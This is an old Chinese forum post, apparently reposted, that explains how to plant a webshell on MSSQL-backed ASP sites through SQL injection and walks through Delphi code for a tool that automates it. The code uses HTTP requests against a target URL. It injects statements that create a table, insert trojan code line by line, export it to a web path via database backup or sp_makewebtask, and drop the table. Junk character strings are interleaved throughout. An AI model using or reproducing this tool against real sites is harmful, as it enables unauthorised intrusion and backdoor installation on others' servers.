数学建模社区-数学中国
标题:
SQL注入得到WEBSHELL
[打印本页]
作者:
韩冰
时间:
2004-11-21 00:13
标题:
SQL注入得到WEBSHELL
<
>一.通过SQL注入得到WEBSHELL的原理:
; O5 C+ B# D: h6 i. v9 W
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
; @( X# V u$ E; H* @/ u1 X3 L6 u
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
6 _$ R# O2 C. p6 q; `+ m# Y1 |# E
再来看看CZY的方法吧。
' H2 [* G9 `% n" q, Y
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
& t" V5 \6 {- K/ `; n
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
c; W ]# ]1 P5 A1 g, ^7 |
二.利用DELPHI去实现功能的前言
V( E, E [9 u$ C; E
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
! z8 M% R& C# j) t% u
+ m6 l0 k) k% h I. Z( f3 K
三.如何利用DELPHI得到WEBSHELL。
4 v& i5 J9 t" r3 d
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
" z v2 [$ z7 C8 X
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
3 J/ A( f5 V. N, I( A
2 ]$ u i9 Y" x* J. C
, a: s2 F* Y) p
/ v \* k! Y/ j* u0 t- G
现在来写程序了。
! a' J+ Q; d$ h+ l9 `
我们首先定义一个RECORD。
+ V- K1 ^: l8 k2 N$ Y, n& B' ?' q, N
如下:
9 ]* w6 ^; w$ Y
Type
6 n2 Q7 A; Z2 m) B7 P
SetOption = Record
7 S2 y( e) ~* L( S0 s/ M' G
TableName : String; //用来保存要创建的表名.
6 l+ ^7 H( U$ C9 U) n
FieldName : String; //用来保存要创建的字段名.
1 r! f$ P# W. I, t c0 E" _: C- C
FiledType : String; //用来保存创建的字段名类型.
4 x% n0 h* \. g7 `5 n
End;
+ S2 a' F0 f- R# R6 a" i, V5 x
FiledType字段类型的值是以下类型的一种:
V+ H4 @# N) `7 z6 ^' b# d+ ?
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
* S; v7 u* d" |' _
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
% s) C* d9 w! g
再定义一个全局变量:
- i" T( M; F r+ @* q+ J/ _ d9 F+ @' H
Var
0 y% j1 h4 j$ L8 z" p! o/ s! ]
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
- M7 v2 K, U4 u" d$ T, L9 p6 J
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
& e0 G6 W0 M/ @9 X3 Z# B* P0 D
代码如下:
4 J; y; I3 x6 d( d* b5 F9 X
procedure TMainForm.FormCreate(Sender: TObject);
, F, Q$ ` j8 c9 k
begin
0 _; _; G0 w( D# O* ^* Q+ _
sOption.TableName :='cyfd'
% Y" B8 S6 D! L" s
sOption.FieldName :='gmemo'
; C5 P+ V" g" `& @9 _. J
sOption.FiledType :='text'
& [0 n" }5 h: [% J$ O
end;
* z. U3 A6 S) p( E7 K5 Y2 i
现在我们添加开始执行命令的代码。
6 P- l1 `* W* ^
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
r: }2 i/ _- V: r6 t2 C+ J8 n, j
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
5 j! \# z- ]+ b! y# A' K+ p/ s
在程序开始执行前,我们得先检查一下用户的输入
" @7 I. D: f; m( X
定义一个Checkinput函数.
3 R4 Y C1 @4 e8 t2 U
如下:
9 \$ z, p: _) G( J+ r
Function CheckInput : Boolean;
4 ~' E9 L! v D8 z9 h0 P
Begin
; a9 T" O, I& M( x7 S: Q0 T
Result := False;
4 c Y% A2 v& E
if Trim(urlet.Text) = '' then
j* i% W2 W$ x4 J1 f' T
Begin
8 I; b. W M- G' |5 B; F6 C: Y
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
2 f2 g, c+ [) _" G6 n$ x
Exit;
9 c9 r5 I2 D6 E8 c2 s' I
End;
( z2 t, m7 {- h
if Trim(ShellPathET.Text) = '' then
3 \$ V4 G. ]$ N. Q
Begin
3 p; L( ]3 h! m4 \
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
: e: \) z( Y% G/ a* i' u. P U
Exit;
$ L& A7 i4 v4 t, O+ i$ D
End;
: J9 M/ H% }! F& n
IF DefBDoor.Checked then
- q% ]: B% r! Q% n+ |& w
Begin
9 R3 Z& I. ?8 U* r
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
/ c9 a* ^/ G% t9 I6 }/ V
Begin
6 I5 J- a& H& d
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
$ r( s1 {( M6 i$ |+ u
Exit;
7 l6 m* ~* j4 e6 C
End;
. k% ?( B4 |0 q6 z+ X5 Z
End
9 A, p( e6 w1 C8 @; }1 P
Else
3 o( ^" d$ X' }' m
if Not FileExists(CustomBdoorET.Text) then
) S$ m& r& O, \- u
Begin
- ~" r2 D7 d3 T
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
2 V# J$ J$ r& y/ i
Exit;
* j, q% J: J9 P& R4 h4 G
End;
0 z, D+ {: {$ ?! g* t
Result := True;
# J. Y! x8 q8 v! E3 b* `1 `- @
End;
+ D5 I- x1 W2 S* \: L' O
在最开始加入:
5 P: F t1 V# I
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
. b) z1 u; I" w* j' \4 n
好了,如果用户输入没什么错,我们就来下面的代码。
. N! m8 s& y, X$ p( P8 ^+ S7 W
首先我们把IsStop设为假。创建BdoorList。
* o9 C6 r6 H- T& `) L. W* S4 C
BDoorList := TstringList.Create;
' e# U# B% ~. T. k
再加木马内容到BDoorlist.
1 N$ e' t; p; N$ n
BDoorList.LoadFromFile(CustomBdoorET.text);
* H7 j# u) n6 j
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
9 K+ S3 X2 Q+ C, b1 u3 h
代码如下:
( @; j$ f- I7 N3 w& ^6 [
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
9 E; O. x$ D) ?
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
6 r5 W) I7 Y9 g, i2 s8 v
接下来.我们就提交建表的功能了.
$ a+ u/ t. _$ U: _
Memo.Lines.Add('建表...');
2 X/ Q' {! h% u2 @' R
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
2 w% A: x! d2 E& Q7 v4 b# s1 r8 |
这样我们就创建了一个表。然后.我们向表中加记录:
/ e6 f2 Y8 M" E$ _4 n: D a. h! p
代码如下:
( F3 k$ u. s( G# a
Memo.Lines.Add('加数据...');
9 W( v, q. r3 J" S, {+ z6 f
Memo.Lines.Add('');
4 J6 h: m% K4 t2 g2 [+ E! @4 i
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
& t6 Q4 d! z4 y$ W `8 |/ q7 s
Begin
5 j6 n, d2 C- s- ~
IF IsStop then //这里如果点了停止按纽程序将终止任务.
% g6 t* Q! }& R5 {: G
Begin
4 ~ r9 z+ v) o, C" Q
BDoorList.Free;
) i' T8 o3 z6 ^" ]
Exit;
0 ?& s' W: D9 h: u; o( M
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
+ l6 S2 ~1 w+ F+ b% Z
Memo.Lines.Add('Add Line '+Inttostr(i+1));
" R( Q% L+ e; M) \9 @
End;
; t! G4 C) S" `4 r1 y- m/ j
现在就是导出数据生成木马了.
/ V# N- h: g/ S0 V3 K6 K' T$ v1 E% B% L% k
Memo.Lines.Add('导出数据...');
. F+ `6 e% s/ \ t# [' A
Memo.Lines.Add('');
* K$ t5 p8 B9 i( |& U
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
" ~0 I: J: Q% N/ O: H( P" s
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
6 G8 Q4 P: F# J5 R
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
/ n" S6 {# x) k t( Z! C! |5 ^4 {
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
" I, }. Z; Z8 y" ]
这样我们的任务就完成了。下面来释放变量.
- T/ _* E% m, N/ W2 {$ U& f! @
BDoorList.Free;
, f- d- c3 z, A( q
再来向停止按纽中添加点击事件:
% Q" d6 p/ I/ W5 D f; }
一行代码就行了:IsStop := True;
% V/ ^+ [9 ^9 W6 K& d/ x
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
7 l0 E/ E2 v7 P! N
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
7 v/ F) W7 w7 n$ u3 B ]# ]
第一个名称为:TableNameET //保用户输入的存临时表
Q7 L; ^" z- ~
第二个名称为:FieldNameET //用来保存用户输入的字段名.
9 k3 o; F) V2 n
再添加一个Combobox //用来保存用户所选的字段类型值.
1 g4 j) R0 P3 ^# u& [& u
名称:FieldTypeCombox
! B b- k0 B4 ^8 d
OK.界面如下:
4 \8 m+ [; ^+ y
, H6 W- J4 p' Z: o, k8 _
代码如下:
) Q" a- z: p* t, s# [- ]
定义一个过程,主表单好调用这个设置。
6 }. d( k! B5 ^( U6 M4 S
Procedure ShowSet;
5 j3 J7 O J! @0 N
Begin
6 P3 [' f' [( q O! t
Application.CreateForm(TSetForm,SetForm);
& e0 ~! a# W9 F) s% I0 a
With SetForm do
2 U. ]2 y" E9 T# j8 q5 k$ z8 \
Begin
5 a$ J4 Z7 g6 s a
TableNameET.Text := sOption.TableName;
) j) x# Q) d, }3 z# P$ I
FieldNameET.Text := sOption.FieldName;
7 A6 c" x; |! t1 |1 ?$ y
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
' R t! r. p) [4 X' R* Z8 k; {
End;
" \4 p( H' a9 H2 S5 N0 V2 B( @
SetForm.ShowModal;
& A: J: U- u4 V7 s" p7 g2 \
SetForm.Free;
( h/ X3 c3 s) Y' V4 G% \5 m/ n) H
End;
0 B: `, Z6 z, j2 P% z6 Z
在主表单中设置的点击事件中添加上showset过程就行了。
& ]# e! T9 N. v7 g
下面就是点击确定的代码了。
2 i3 }9 `9 i2 X
IF CheckInput then
5 ^+ \! S* p, I6 g/ x6 o
Begin
, q7 t2 F F. P- C- k
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
$ y) k& y% p# c9 ^/ j
sOption.FieldName := Trim(FieldNameET.Text);
$ t# |6 ~2 u7 {( i% m, _- o( i
sOption.FiledType := FieldTypeCombox.Text;
3 Q4 F# |( \3 W; t- u
Close;
% F& p t! ]! C d5 Y+ }
End;
; h/ ~5 o: A$ N3 W
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
2 f1 p; w) ]+ }7 S# n7 R
代码如下:
) A& M t; k6 y8 ^4 F2 t/ }5 a4 \: ?/ B
Function CheckInput : Boolean;
1 P) N, j) E8 q
Begin
8 W5 t1 `1 m; d) B
Result := False;
: p" B( V5 {" I- v) [
IF Trim(TableNameET.Text)='' then
1 n5 }. N" E3 c% l( u+ N
Begin
' P, U5 F1 g) H3 i% k
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
" y9 R( e# |. q/ H% x) }! w9 w3 k
Exit;
4 [4 H, `: h; j/ ~5 _! f
End;
\- Z+ e8 S5 }& f# v# T
IF Trim(FieldNameET.Text)='' then
* R1 l& l6 v% u+ y
Begin
8 l* G: m: \7 K: ~* n A
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
9 Q. U" v. x" L2 W) r% R
Exit;
* q% f8 \4 S2 x* J1 q6 G
End;
2 O" ?8 b$ K# @( c
Result := True;
4 a, X; ^; i: G9 r, O/ o9 F
End;
1 o" L3 F6 d% C- X$ n) _5 l
到这里程序就完了。</P>
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5